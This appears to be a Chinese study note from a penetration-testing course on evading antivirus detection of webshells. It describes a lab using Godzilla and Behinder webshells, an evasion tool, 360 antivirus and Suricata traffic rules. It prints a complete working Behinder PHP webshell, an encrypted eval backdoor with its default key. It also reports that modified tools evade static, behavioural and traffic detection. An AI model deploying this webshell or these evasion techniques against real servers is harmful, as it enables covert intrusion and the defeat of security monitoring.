免杀学习篇(1)—— 工具使用
一、前言
先借用免杀工具来了解webshell上传和操作执行会遭到查杀的几个阶段,使用windows7 x64(360安全卫士13)来作为测试机。主要内容参考小迪安全课程:第144天:免杀对抗-Webshell篇&静态查杀&行为拦截&流量监控&代码混淆&内存加载&工具魔改_哔哩哔哩_bilibili
二、工具
用到的主要是one-fox集成工具箱,其中内置的webshell工具:冰蝎、哥斯拉、蚁剑
免杀工具是:XG拟态WEB免杀工具
三、 学习部分
首先开启windows7的web服务
1.Godzilla马(表面代码)
从工具箱中生成一个木马上传到windows的WWW目录下
立刻会被360检测到,立马被查杀的,这里应该称为表面代码层的查杀
2.Godzilla马初步免杀(操作行为)
对上述木马放入XG拟态中进行免杀
发现此时不会被查杀掉,用哥斯拉连接一下,但当尝试危险操作时
发现进行危险操作会被监测到,就是操作行为被检测到了
3.冰蝎连接(工具指纹)
上传一个冰蝎马
<?php
@error_reporting(0);
session_start();$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond$_SESSION['k']=$key;session_write_close();$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
?>
用冰蝎进行连接
此时需要使用suricata工具来监测,这里我是用kali搭建的suricata监听,然后导入了github上的规则库:al0ne/suricata-rules: Suricata IDS rules 用来检测红队渗透/恶意行为等,支持检测CobaltStrike/MSF/Empire/DNS隧道/Weevely/菜刀/冰蝎/挖矿/反弹shell/ICMP隧道等
将冰蝎的特征导入suricata的规则库中:/etc/suricata/rules
suricata开始监听冰蝎的流量:
suricata -c /etc/suricata/suricata.yaml -i eth0 -s /etc/suricata/rules/Behinder3.rules
在冰蝎webshell中进行一些操作
查看suricata的fast.log日志
发现成功监听到了冰蝎的流量
4.冰蝎魔改(绕过对流量的监测)
用冰蝎魔改版来上传shell和执行,先上传冰蝎魔改版shell,然后执行操作
此时再次看suricata的日志记录
发现此时不会发现冰蝎魔改版的流量
四、总结
第一部分内容主要是先熟悉一下一个大概的免杀流程以及webshell可能会被监测到的三个层面:表面代码层(混淆)、操作行为层(魔改)、工具指纹层(魔改),之后会跟着小迪安全学习后续内容。